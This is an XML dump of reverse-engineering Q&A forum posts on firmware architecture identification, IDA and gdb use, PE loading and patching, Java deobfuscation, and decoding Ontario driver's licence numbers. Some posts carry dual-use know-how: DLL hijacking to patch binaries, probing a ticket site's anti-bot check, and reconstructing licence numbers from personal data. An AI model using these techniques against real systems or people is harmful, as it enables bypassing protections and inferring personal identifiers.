  <row Id="25678" PostTypeId="2" ParentId="25667" CreationDate="2020-08-15T15:54:55.287" Score="1" Body="&lt;p&gt;Assuming this is a firmware file, a good first step would be to identify where execution starts. You could do this by:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;finding the type of processor / microcontroller / system-on-chip and checking for the reset vector (try searching for product approvals, e.g. from the FCC, which might contain interior images).&lt;/li&gt;&#xA;&lt;li&gt;scanning the file for known byte sequences associated with code, for example function prologues.&lt;/li&gt;&#xA;&lt;li&gt;reading the manual for the potential boot loader and looking for code associated with it. For example the linker file might identify where initialisation code lives.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This would enable analysis of the overall code structure, which is likely compressed or encrypted if your entropy graph is correct.&lt;/p&gt;&#xA;&lt;p&gt;Depending on how firmware updates are delivered it’s possible this file is encrypted and would be decrypted by the microcontroller.&lt;/p&gt;&#xA;&lt;p&gt;This could happen:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;during update, if the existing firmware decrypts and validates the update before writing to flash.&lt;/li&gt;&#xA;&lt;li&gt;on boot, if the target system supports encrypted firmware.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In both of these cases it’s much harder to analyse the system. You’d typically need a combination of hardware hacking and firmware reverse engineering to make progress.&lt;/p&gt;&#xA;" OwnerUserId="3013" LastActivityDate="2020-08-15T15:54:55.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25679" PostTypeId="1" AcceptedAnswerId="25680" CreationDate="2020-08-15T18:41:10.573" Score="2" ViewCount="376" Body="&lt;p&gt;Tough problem - trying to reverse engineer a CANBUS controller for which I can download firmware (as far as I can tell, binary image, not ELF) but I dont know what MCU it uses.  &lt;code&gt;binwalk&lt;/code&gt;, &lt;code&gt;r2&lt;/code&gt; dont give me anything useful.   Binwalk opcodes match mipsel but function signatures is garbage.&lt;/p&gt;&#xA;&lt;p&gt;What can I do to determine MCU from firmware?&lt;/p&gt;&#xA;" OwnerUserId="34146" LastActivityDate="2020-08-16T12:32:46.267" Title="Determine firmware MCU from binary image" Tags="|firmware|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25680" PostTypeId="2" ParentId="25679" CreationDate="2020-08-16T02:00:30.173" Score="3" Body="&lt;p&gt;It does appear to be MIPS 32-bit little-endian machine code.&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;First, the file was converted from .hex to binary via&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ objcopy --input-target=ihex --output-target=binary FORD_P5_STEER_RevA_v1.2.0.hex FORD_P5_STEER_RevA_v1.2.0.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After looking at a &lt;code&gt;binwalk&lt;/code&gt; entropy plot and a hex dump, I sliced out the first &lt;code&gt;0x00021330&lt;/code&gt; bytes, because nearly everything after is just 0x00 bytes.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;000212f0  5f 50 35 20 53 74 65 65  72 00 00 00 20 24 00 00  |_P5 Steer... $..|&#xA;00021300  00 04 08 10 14 18 00 00  08 00 e0 03 00 60 62 41  |.............`bA|&#xA;00021310  08 00 e0 03 20 60 62 41  08 00 e0 03 00 00 00 00  |.... `bA........|&#xA;00021320  08 00 e0 03 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00021330  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................| &amp;lt;--\&#xA;*                                                                                 |-- Huge gap&#xA;00071e40  01 00 00 00 02 00 00 00  00 00 00 00 46 4f 52 44  |............FORD| &amp;lt;--/&#xA;00071e50  20 50 35 20 53 74 65 65  72 69 6e 67 20 45 6d 75  | P5 Steering Emu|&#xA;00071e60  6c 61 74 6f 72 20 28 46  4f 52 44 5f 50 35 5f 53  |lator (FORD_P5_S|&#xA;00071e70  54 45 45 52 29 20 52 65  76 41 00 00 00 00 00 00  |TEER) RevA......|&#xA;00071e80  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;02bf9e80  00 9d 1f 3c 70 79 ff 37  08 00 e0 03 00 00 00 00  |...&amp;lt;py.7........|&#xA;02bf9e90  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;02bfce70  ff ff ff 3e d9 79 f9 ff  5b 0e 66 ff ff ff ff 7f  |...&amp;gt;.y..[.f.....|&#xA;02bfce80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://isadetect.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ISAdetect&lt;/a&gt; results:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;prediction&amp;quot;: {&#xA;    &amp;quot;wordsize&amp;quot;: 32,&#xA;    &amp;quot;endianness&amp;quot;: &amp;quot;little&amp;quot;,&#xA;    &amp;quot;architecture&amp;quot;: &amp;quot;mips&amp;quot;&#xA;  },&#xA;  &amp;quot;prediction_probability&amp;quot;: 0.81&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To confirm, I extracted the machine code from the slice and compared it to a reference:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Q64o5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q64o5.png&quot; alt=&quot;ford code vs. reference&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The byte value distributions closely match.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2020-08-16T02:00:30.173" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25681" PostTypeId="2" ParentId="25679" CreationDate="2020-08-16T12:32:46.267" Score="1" Body="&lt;p&gt;It is indeed valid MIPS litte-endian code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;seg000:1D0121F0 A8 FF BD 27                 addiu   $sp, -0x58&#xA;seg000:1D0121F4 04 00 A1 AF                 sw      $at, 0x58+var_54($sp)&#xA;seg000:1D0121F8 08 00 A2 AF                 sw      $v0, 0x58+var_50($sp)&#xA;seg000:1D0121FC 0C 00 A3 AF                 sw      $v1, 0x58+var_4C($sp)&#xA;seg000:1D012200 10 00 A4 AF                 sw      $a0, 0x58+var_48($sp)&#xA;seg000:1D012204 14 00 A5 AF                 sw      $a1, 0x58+var_44($sp)&#xA;seg000:1D012208 18 00 A6 AF                 sw      $a2, 0x58+var_40($sp)&#xA;seg000:1D01220C 1C 00 A7 AF                 sw      $a3, 0x58+var_3C($sp)&#xA;seg000:1D012210 20 00 A8 AF                 sw      $t0, 0x58+var_38($sp)&#xA;seg000:1D012214 24 00 A9 AF                 sw      $t1, 0x58+var_34($sp)&#xA;seg000:1D012218 28 00 AA AF                 sw      $t2, 0x58+var_30($sp)&#xA;seg000:1D01221C 2C 00 AB AF                 sw      $t3, 0x58+var_2C($sp)&#xA;seg000:1D012220 30 00 AC AF                 sw      $t4, 0x58+var_28($sp)&#xA;seg000:1D012224 34 00 AD AF                 sw      $t5, 0x58+var_24($sp)&#xA;seg000:1D012228 38 00 AE AF                 sw      $t6, 0x58+var_20($sp)&#xA;seg000:1D01222C 3C 00 AF AF                 sw      $t7, 0x58+var_1C($sp)&#xA;seg000:1D012230 40 00 B8 AF                 sw      $t8, 0x58+var_18($sp)&#xA;seg000:1D012234 44 00 B9 AF                 sw      $t9, 0x58+var_14($sp)&#xA;seg000:1D012238 48 00 BF AF                 sw      $ra, 0x58+var_10($sp)&#xA;seg000:1D01223C 12 40 00 00                 mflo    $t0&#xA;seg000:1D012240 4C 00 A8 AF                 sw      $t0, 0x58+var_C($sp)&#xA;seg000:1D012244 10 40 00 00                 mfhi    $t0&#xA;seg000:1D012248 50 00 A8 AF                 sw      $t0, 0x58+var_8($sp)&#xA;seg000:1D01224C 01 9D 1A 3C+                li      $k0, 0x9D012CA4&#xA;seg000:1D01224C A4 2C 5A 27&#xA;seg000:1D012254 00 00 00 00                 nop&#xA;seg000:1D012258 00 68 04 40                 mfc0    $a0, Cause       # Cause of last exception&#xA;seg000:1D01225C 00 60 05 40                 mfc0    $a1, SR          # Status register&#xA;seg000:1D012260 09 F8 40 03                 jalr    $k0&#xA;seg000:1D012264 00 00 00 00                 nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I suspect the device is using something from the Microchip's &lt;a href=&quot;http://download.mikroe.com/documents/compilers/mikrobasic/pic32/help/memory_organization.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;PIC32 series&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-08-16T12:32:46.267" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25682" PostTypeId="1" CreationDate="2020-08-16T13:39:45.517" Score="3" ViewCount="4252" Body="&lt;p&gt;Got IDA Pro 7.0 (I can't update at the moment),&#xA;I'm currently unable to use idapython.&lt;/p&gt;&#xA;&lt;p&gt;I have python3.8 installed on my machine and nothing else (I dont want any collisions).&lt;/p&gt;&#xA;&lt;p&gt;How can I use make Idapython work without having &lt;strong&gt;only&lt;/strong&gt; 2.7 installed.&lt;/p&gt;&#xA;" OwnerUserId="30936" LastActivityDate="2020-09-18T23:03:50.407" Title="Can I use python3 with IDA 7.0?" Tags="|ida|x86|idapython|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25683" PostTypeId="2" ParentId="25668" CreationDate="2020-08-16T15:24:12.763" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Forks.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;On most systems, GDB has no special support for debugging programs&#xA;which create additional processes using the fork function. When a&#xA;program forks, GDB will continue to debug the parent process and the&#xA;child process will run unimpeded. If you have set a breakpoint in any&#xA;code which the child then executes, the child will get a SIGTRAP&#xA;signal which (unless it catches the signal) will cause it to&#xA;terminate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;On some systems, GDB provides support for debugging programs that&#xA;create additional processes using the fork or vfork functions. On&#xA;GNU/Linux platforms, this feature is supported with kernel version&#xA;2.5.46 and later.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Could it be that your kernel version is too low?&lt;/p&gt;&#xA;&lt;p&gt;You can also try &lt;a href=&quot;https://ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_30.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;catch fork/vfork/exec &lt;/code&gt;&lt;/a&gt; commands.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-08-16T15:24:12.763" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25686" PostTypeId="1" CreationDate="2020-08-16T23:39:25.927" Score="6" ViewCount="1690" Body="&lt;p&gt;I'm reversing a malicious 32-bit x86 Windows executable. Statically reviewing PE headers in Ghidra, I see that &lt;code&gt;ImageBase&lt;/code&gt; is set to &lt;code&gt;0x400000&lt;/code&gt; as expected. However, when the binary is loaded into memory, the initial RVA does not match the &lt;code&gt;ImageBase&lt;/code&gt; defined in the file. For example, I have seen the in-memory base address set to &lt;code&gt;0x4B0000&lt;/code&gt; and &lt;code&gt;0x900000&lt;/code&gt;. This behavior occurs on a clean VM, and when debugging with Immunity and x32dbg as well as IDA Free.&lt;/p&gt;&#xA;&lt;p&gt;My understanding is that the Windows loader reads &lt;code&gt;ImageBase&lt;/code&gt; and uses that offset to begin mapping sections into virtual address space. Because system code handles loading, and my system is clean upon first execution, my assumption is that the unusual &lt;code&gt;ImageBase&lt;/code&gt; is a symptom of a loader nuance rather than tampering. I've never encountered this scenario and would appreciate any insights.&lt;/p&gt;&#xA;&lt;p&gt;MD5:  &lt;code&gt;1f63d04ee95ea041f2f6b1e818d94a7c&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;SHA1: &lt;code&gt;823ad6abb05f2393c44cf4b7f1d00e32ac04d1d1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;code&gt;ImageBase&lt;/code&gt; set to &lt;code&gt;0x400000&lt;/code&gt; when viewing PE headers in Ghidra:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iLnaq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iLnaq.png&quot; alt=&quot;ImageBase set to 0x400000&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;code&gt;ImageBase&lt;/code&gt; in memory-mapped PE header (&lt;code&gt;0x4B0000&lt;/code&gt;) does not match &lt;code&gt;ImageBase&lt;/code&gt; set in static file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vnAsT.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vnAsT.png&quot; alt=&quot;PE header dump&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;PE sections mapped into memory with &lt;code&gt;ImageBase&lt;/code&gt; at &lt;code&gt;0x4B0000&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YwnNp.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YwnNp.png&quot; alt=&quot;PE sections mapped into memory&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34154" LastEditorUserId="34154" LastEditDate="2020-08-17T02:49:38.977" LastActivityDate="2020-08-17T05:44:17.687" Title="Why does PE ImageBase address change in memory?" Tags="|windows|malware|anti-debugging|pe32|virtual-memory|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25687" PostTypeId="2" ParentId="25686" CreationDate="2020-08-17T05:44:17.687" Score="9" Body="&lt;p&gt;This is just a preferred address. Windows can load the binary at almost any address and rebase it to this new location.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ImageBase: The preferred address of the first byte of image when loaded into memory; must be a multiple of 64 K. The default for DLLs is 0x10000000. The default for Windows CE EXEs is 0x00010000. The default for Windows NT, Windows 2000, Windows XP, Windows 95, Windows 98, and Windows Me is 0x00400000.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format&quot; rel=&quot;noreferrer&quot;&gt;MSDN&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-08-17T05:44:17.687" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25688" PostTypeId="2" ParentId="25669" CreationDate="2020-08-17T21:18:16.377" Score="2" Body="&lt;p&gt;Adding extra bytes at the end of the file doesn't work at all because it's an overlay data and you're not be able to execute any code there, Hence If you need more space to write your patch bytes into it, you can create a new section and set its characteristics to executable and readable, then jump into it, apply your patches and jump back where you were. There are a lot of tools you can use but I always use CFF Explorer for this purpose, you can go to 'Section Headers' right click on right side and then 'Add Section (Empty space)' enter any value of bytes which you need, then change the characteristics to '60000020' which is 'Is executable', 'Is readable' and 'Contains code' do whatever you want.&#xA;The other way is to find a 'DLL Hijack' and by abusing this vulnerability patch your file in the memory or you can use a loader instead, you can try patch makers(diablo2oo2's Universal Patcher, At4re Patcher, etc.) for this purpose or write it by yourself.&lt;/p&gt;&#xA;" OwnerUserId="12714" LastActivityDate="2020-08-17T21:18:16.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25689" PostTypeId="1" CreationDate="2020-08-18T14:39:39.287" Score="0" ViewCount="61" Body="&lt;p&gt;I am trying to understand why if I do fetch() 4 times on the active web page, after the fifth fetch server returns response that I am a &amp;quot;robot&amp;quot;&#xA;I am using google chrome&#xA;I go the following link: &lt;a href=&quot;https://ticketswestinw.evenue.net/cgi-bin/ncommerce3/SEGetEventInfo?ticketCode=GS%3ATWC%3AEARN20%3AEARN0807%3A&amp;amp;linkID=twcorp&amp;amp;shopperContext=&amp;amp;pc=&amp;amp;caller=&amp;amp;appCode=&amp;amp;groupCode=ARNBSB&amp;amp;cgc=&amp;amp;dataAccId=883&amp;amp;locale=en_US&amp;amp;siteId=ev_twcorp&quot; rel=&quot;nofollow noreferrer&quot;&gt;tickets selling site&lt;/a&gt; (might not open in non US countries). From the 'network' tab I 'copy as fetch' that very first request and paste it to the console and execute it&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3WwJ0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3WwJ0.png&quot; alt=&quot;copy the first page request from the network&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K2t6Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K2t6Z.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;after doing so 5 times, I start receiving &amp;quot;robots&amp;quot; response&lt;/p&gt;&#xA;&lt;p&gt;This is a good response:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rcj7x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rcj7x.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;this is a &amp;quot;robot&amp;quot; response:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Edtca.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Edtca.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And after that all requests made by the site itself return the same &amp;quot;robots&amp;quot; response everytime. But refreshing the page/opening new page, resets everything and I can send those requests again.&lt;/p&gt;&#xA;&lt;p&gt;My question is: how can I understand what happens when I open browser page? What happens that the server starts returning good responses again after I refresh the page?&lt;/p&gt;&#xA;&lt;p&gt;I was trying to drop cookies, but this didnt help.&lt;/p&gt;&#xA;&lt;p&gt;The code I use to send request:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;fetch(&amp;quot;https://ticketswestinw.evenue.net/cgi-bin/ncommerce3/SEGetEventInfo?ticketCode=GS%3ATWC%3AEARN20%3AEARN0807%3A&amp;amp;linkID=twcorp&amp;amp;shopperContext=&amp;amp;pc=&amp;amp;caller=&amp;amp;appCode=&amp;amp;groupCode=ARNBSB&amp;amp;cgc=&amp;amp;dataAccId=883&amp;amp;locale=en_US&amp;amp;siteId=ev_twcorp&amp;quot;, {&#xA;  &amp;quot;headers&amp;quot;: {&#xA;    &amp;quot;accept&amp;quot;: &amp;quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&amp;quot;,&#xA;    &amp;quot;accept-language&amp;quot;: &amp;quot;en-US,en;q=0.9&amp;quot;,&#xA;    &amp;quot;cache-control&amp;quot;: &amp;quot;max-age=0&amp;quot;,&#xA;    &amp;quot;sec-fetch-dest&amp;quot;: &amp;quot;document&amp;quot;,&#xA;    &amp;quot;sec-fetch-mode&amp;quot;: &amp;quot;navigate&amp;quot;,&#xA;    &amp;quot;sec-fetch-site&amp;quot;: &amp;quot;same-origin&amp;quot;,&#xA;    &amp;quot;sec-fetch-user&amp;quot;: &amp;quot;?1&amp;quot;,&#xA;    &amp;quot;upgrade-insecure-requests&amp;quot;: &amp;quot;1&amp;quot;&#xA;  },&#xA;  &amp;quot;referrer&amp;quot;: &amp;quot;https://ticketswestinw.evenue.net/cgi-bin/ncommerce3/SEGetEventInfo?ticketCode=GS%3ATWC%3AEARN20%3AEARN0807%3A&amp;amp;linkID=twcorp&amp;amp;shopperContext=&amp;amp;pc=&amp;amp;caller=&amp;amp;appCode=&amp;amp;groupCode=ARNBSB&amp;amp;cgc=&amp;amp;dataAccId=883&amp;amp;locale=en_US&amp;amp;siteId=ev_twcorp&amp;quot;,&#xA;  &amp;quot;referrerPolicy&amp;quot;: &amp;quot;no-referrer-when-downgrade&amp;quot;,&#xA;  &amp;quot;body&amp;quot;: null,&#xA;  &amp;quot;method&amp;quot;: &amp;quot;GET&amp;quot;,&#xA;  &amp;quot;mode&amp;quot;: &amp;quot;cors&amp;quot;,&#xA;  &amp;quot;credentials&amp;quot;: &amp;quot;include&amp;quot;&#xA;}).then(x =&amp;gt; x.text().then(y =&amp;gt; console.log(y)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34161" LastActivityDate="2020-08-19T07:12:40.097" Title="What browser do during initial web page request?" Tags="|javascript|networking|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25690" PostTypeId="2" ParentId="25677" CreationDate="2020-08-18T16:41:12.163" Score="3" Body="&lt;p&gt;By using &lt;a href=&quot;https://blog.didierstevens.com/2010/10/17/setdllcharacteristics/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tool&lt;/a&gt; from Didier Stevens you've been able to check/set/unset DEP/ASLR characteristics of your file.&#xA;Check the file like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;setdllcharacteristics.exe yourfile.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If the output said &lt;code&gt;DYNAMIC_BASE    = 0&lt;/code&gt; then you can use &lt;code&gt;+d&lt;/code&gt; option to enable &lt;code&gt;DYNAMICBASE&lt;/code&gt; of your file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;setdllcharacteristics.exe +d yourfile.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And you can use &lt;code&gt;-d&lt;/code&gt; to unset again.&lt;/p&gt;&#xA;" OwnerUserId="12714" LastActivityDate="2020-08-18T16:41:12.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25691" PostTypeId="2" ParentId="25608" CreationDate="2020-08-18T17:40:53.447" Score="1" Body="&lt;p&gt;There are a few open source tools that make removing obfuscation patterns quite easy. Some have explicit support for ZKM. Here are are the two popular ones:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/java-deobfuscator/deobfuscator&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/java-deobfuscator/deobfuscator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/GraxCode/threadtear&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/GraxCode/threadtear&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And here is one specifically for android:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/CalebFenton/simplify&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/CalebFenton/simplify&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20336" LastActivityDate="2020-08-18T17:40:53.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25693" PostTypeId="1" CreationDate="2020-08-18T19:14:35.057" Score="6" ViewCount="22502" Body="&lt;pre&gt;&lt;code&gt;**The Ontario Driver's License follows the below format:**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;LXxxx-FFFMY-YMMDD&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Where:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;L is the first letter of your last name&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;X is a numeric encoding of the last name (See Chart 1 below)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;xxx is a numeric coding of the last name.&lt;/strong&gt; it appears no one has been able to decipher xxx (At this point in time) Some sort of soundex variation. That being said from my research every last name matching will have the exact same code here. For example, the last name of Smith will always be 778 (or S5778 if you include L &amp;amp; X). If you have access to a number of DL #'s and can pick out a large number of Last name's with their designated codes, you will over time be able to properly track the full driver's license combination.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;FFF is a numeric encoding of the first name.&lt;/strong&gt; It follows a similar coding to the first name 3 digits, however, is a totally separate string of numbers. From my research I have found that these 3 numbers will also always be the same on a driver's license of someone matching the same first name. If you have access to collect a large number of first names you will be able to connect those with the collected last name code in order to guess the full proper driver's license # values.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;M is a numeric encoding of the middle name (See Chart 2 below)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;YY is the last 2 digits of year of birth&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;MM is the month of birth, ranges 01-12 for males, 51-62 for females (add 50 to the month for females)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;DD is the day of birth&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Chart 1&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0 - A&lt;/li&gt;&#xA;&lt;li&gt;1 - B,C,D&lt;/li&gt;&#xA;&lt;li&gt;2 - E&lt;/li&gt;&#xA;&lt;li&gt;3 - F,G,H&lt;/li&gt;&#xA;&lt;li&gt;4 - I,J,K&lt;/li&gt;&#xA;&lt;li&gt;5 - L,M,N&lt;/li&gt;&#xA;&lt;li&gt;6 - 0&lt;/li&gt;&#xA;&lt;li&gt;7 - P,Q,R&lt;/li&gt;&#xA;&lt;li&gt;8 - S,T&lt;/li&gt;&#xA;&lt;li&gt;9 - U,V,W,X,Y,Z&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Chart 2&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 - A&lt;/li&gt;&#xA;&lt;li&gt;2 - C,D&lt;/li&gt;&#xA;&lt;li&gt;3 - E,F,&lt;/li&gt;&#xA;&lt;li&gt;4 - G,H,&lt;/li&gt;&#xA;&lt;li&gt;5 - J,K,&lt;/li&gt;&#xA;&lt;li&gt;6 - L,M,N&lt;/li&gt;&#xA;&lt;li&gt;7 - P,Q,R&lt;/li&gt;&#xA;&lt;li&gt;8 - S,T,&lt;/li&gt;&#xA;&lt;li&gt;9 - W&lt;/li&gt;&#xA;&lt;li&gt;0 - Y,Z,&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;I still have not found where B,I,O,U,V, or X falls on this chart. If you know anyone whose middle name starts with one of these letters please ask them what the 9th digit of their license is, this will give you that specific value for the chart. Also, I will mention that if a license has no middle name, the 9th digit is always a 0.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I guess at this point I am looking for some additional direction on how digits 3-8 are calculated using an actual formula instead of tracking all possible outcomes as I come across them.&lt;/p&gt;&#xA;&lt;p&gt;On a side note if anyone needs some explanation on how to decode Quebec License #'s I have some additional information available.&lt;/p&gt;&#xA;" OwnerUserId="34165" LastEditorUserId="42335" LastEditDate="2023-05-06T20:42:08.927" LastActivityDate="2023-08-10T22:16:36.897" Title="Trying to decode the Ontario Driver's License #" Tags="|encryption|encodings|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25694" PostTypeId="2" ParentId="2897" CreationDate="2020-08-18T23:27:13.853" Score="3" Body="&lt;p&gt;Machine learning can be used to identify the target CPU of machine code with a high degree of accuracy. For example, the &lt;a href=&quot;https://github.com/kairis/isadetect&quot; rel=&quot;nofollow noreferrer&quot;&gt;ISAdetect&lt;/a&gt; tool can identify machine code targeting 23 different architectures using machine learning. There is a &lt;a href=&quot;https://isadetect.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;web API&lt;/a&gt; that one can use to upload executable binaries or pieces of machine code to be analyzed by this tool.&lt;/p&gt;&#xA;&lt;p&gt;Here is the paper discussing the techniques implemented by ISAdetect:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/1908.05459&quot; rel=&quot;nofollow noreferrer&quot;&gt;Towards usable automated detection of CPU architecture and endianness for arbitrary binary files and object code sequences&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2020-08-19T14:08:02.847" 